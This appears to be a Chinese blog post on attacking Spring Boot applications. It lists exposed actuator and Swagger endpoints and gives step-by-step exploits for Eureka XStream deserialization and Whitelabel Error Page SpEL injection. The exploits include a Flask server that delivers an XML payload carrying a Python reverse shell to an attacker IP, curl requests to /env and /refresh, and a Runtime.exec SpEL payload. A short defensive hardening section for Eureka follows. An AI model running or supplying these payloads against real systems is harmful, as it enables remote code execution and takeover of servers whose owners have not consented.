spring eureka漏洞_Spring boot相关漏洞利用(1)

a26f937ec564fd69b6199e0e6fa55e21.png

Spring boot 是 Spring 的一套快速配置脚手架,可以基于spring boot 快速开发单个微服务,Spring Boot,看名字就知道是Spring的引导,就是用于启动Spring的,使得Spring的学习和使用变得快速无痛。不仅适合替换原有的工程结构,更适合微服务开发。

Spring Cloud基于Spring Boot,为微服务体系开发中的架构问题,提供了一整套的解决方案——服务注册与发现,服务消费,服务保护与熔断,网关,分布式调用追踪,分布式配置管理等。

信息泄露

常见信息泄露接口

/api-docs
/v2/api-docs
/swagger-ui.html

/api.html
/sw/swagger-ui.html
/api/swagger-ui.html
/template/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html

/mappings
/actuator/mappings
/metrics
/actuator/metrics
/beans
/actuator/beans
/configprops
/actuator/configprops

配置不当暴露路由

/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream

重点接口

  • /env /actuator/env

GET 请求 /env 会泄露环境变量信息,

1ef580abe53586bd2e35a72509da1bd9.png

同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,触发相关 RCE 漏洞。

下图是eureka xstream deserialization 实现RCE

09517837c8b6cfb8b93fe7b8494fcb1e.png

  • /jolokia

通过 /jolokia/list 接口寻找可以利用的 MBean,触发相关 RCE 漏洞

  • /trace

一些 http 请求包访问跟踪信息,有可能发现有效的 cookie 信息

eureka xstream deserialization 实现RCE

利用条件

  • 可以 POST     请求目标网站的 /env 接口设置属性

  • 可以 POST     请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)

  • 目标使用的 eureka-client <     1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)

  • 目标可以请求攻击者的 HTTP     服务器(请求可出外网

利用步骤

(1)在VPS创建flask_xstream.py,使用flask返回payload,要执行的命令放置command标签内。

#!/usr/bin/env python# coding: utf-8# -**- Author: LandGrey -**-from flask import Flask, Responseapp = Flask(__name__)@app.route('/', defaults={'path': ''})@app.route('/<path:path>', methods=['GET', 'POST'])def catch_all(path):    xml = """<linked-hash-set>  <jdk.nashorn.internal.objects.NativeString>    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">      <dataHandler>        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">          <is class="javax.crypto.CipherInputStream">            <cipher class="javax.crypto.NullCipher">              <serviceIterator class="javax.imageio.spi.FilterIterator">                <iter class="javax.imageio.spi.FilterIterator">                  <iter class="java.util.Collections$EmptyIterator"/>                  <next class="java.lang.ProcessBuilder">                    <command>                       <string>/bin/bashstring>                       <string>-cstring>                       <string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",4446));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'string>                    command>                    <redirectErrorStream>falseredirectErrorStream>                  next>                iter>                <filter class="javax.imageio.ImageIO$ContainsFilter">                  <method>                    <class>java.lang.ProcessBuilderclass>                    <name>startname>                    <parameter-types/>                  method>                  <name>fooname>                filter>                <next class="string">foonext>              serviceIterator>              <lock/>            cipher>            <input class="java.lang.ProcessBuilder$NullInputStream"/>            <ibuffer>ibuffer>          is>        dataSource>      dataHandler>    value>  jdk.nashorn.internal.objects.NativeString>linked-hash-set>"""    return Response(xml, mimetype='application/xml')if __name__ == "__main__":    app.run(host='0.0.0.0', port=4447)

(2)在vps上运行flak_xtream.py

654c2fab624c65a2ece6f3cd09d49155.png

(3)nc监听command标签内的端口

c3452bd3f7acf22374c4b8f161accacd.png

(3)分别发两次POST数据包

curl "http://targetIp:60689/env" -d "eureka.client.serviceUrl.defaultZone=http://vpsIp:4447/xstream"

curl "http://targetIp:60689/refresh" -d ""

09517837c8b6cfb8b93fe7b8494fcb1e.png

(4)成功执行命令

e42160730de42ab92aa046ef17875061.png

409a125c2f09f6424856e06636013d99.png

Spring Boot SpEL表达式注入

Spring Boot 框架Whitelabel Error Page SpEL注入的原因就是系统报错页面把用户的输入当做了表达式来执行

漏洞原理

  1. spring boot     处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中

  2. 此时 URL     中的参数值会用 parseStringValue 方法进行递归解析

  3. 其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作     SpEL 表达式被解析执行,造成 RCE 漏洞

利用条件

  • spring boot     1.1.0-1.1.12、1.2.0-1.2.7、1.3.0

  • 至少知道一个触发 springboot     默认错误页面的接口及参数名

利用方法

(1)找到一个正常传参触发错误的地方。比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page,则后续 payload 都将会在参数 id 处尝试。

(2)输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。

eac9f6446438db0b3dfe48c96f336f90.png

(3)格式转换以便于执行任意代码

 # coding: utf-8result = ""target = 'curl http://vpsIp:4445'for x in target:    result += hex(ord(x)) +","print(result.rstrip(','))

插入生成的十六进制码

${T(java.lang.Runtime).getRuntime().exec(newString(newbyte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}

成功执行了命令

b523adb7e63453453f79a1b42b206e43.png

c522c325d3c069d4d5a7e6381decc1b8.png

参考

https://github.com/ShadowFlow123/ShadowFlow123.github.io/blob/master/README.md

https://shadowflow123.github.io/

https://github.com/LandGrey/SpringBootVulExploit

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Spring Eureka 未授权访问漏洞是由于 Eureka Server 没有进行权限验证导致的,攻击者可以利用该漏洞获取 Eureka Server 的敏感信息。要修复该漏洞,可以采取以下措施: 1. 在 Eureka Server 中配置安全认证,限制访问权限。 2. 升级 Spring Cloud 版本,Spring Cloud Edgware 及以上版本中已经修复了该漏洞。 3. 禁用 Eureka Server 的 web 界面,只提供 API 调用方式。 4. 在 Eureka Server 的访问日志中监控未授权的访问行为,及时发现并阻止攻击。 具体操作步骤如下: 1. 在 Eureka Server 中添加 Spring Security 依赖: ```xml <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-security</artifactId> </dependency> ``` 2. 在 Eureka Server 的配置文件中添加以下配置: ```yaml # 开启安全认证 security: basic: enabled: true user: name: admin password: password # 配置访问权限 eureka: client: register-with-eureka: false fetch-registry: false server: enable-self-preservation: false wait-time-in-ms-when-sync-empty: 0 eviction-interval-timer-in-ms: 30000 response-cache-auto-expiration-in-seconds: 30 enable-self-preservation-when-should-not: false instance: hostname: localhost prefer-ip-address: true ``` 其中,security.basic.enabled 配置项开启基本认证,security.user.name 和 security.user.password 配置项指定了管理员的用户名和密码。eureka.client 和 eureka.server 配置项关闭了 Eureka Client 和 Eureka Server 的注册与发现功能,只开放了 Eureka Server 的 API。instance.hostname 和 instance.prefer-ip-address 配置项指定了 Eureka Server 的主机名和 IP 地址。 3. 重启 Eureka Server。 通过以上步骤,就可以对 Eureka Server 进行安全认证和访问权限控制,避免了未授权访问漏洞

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值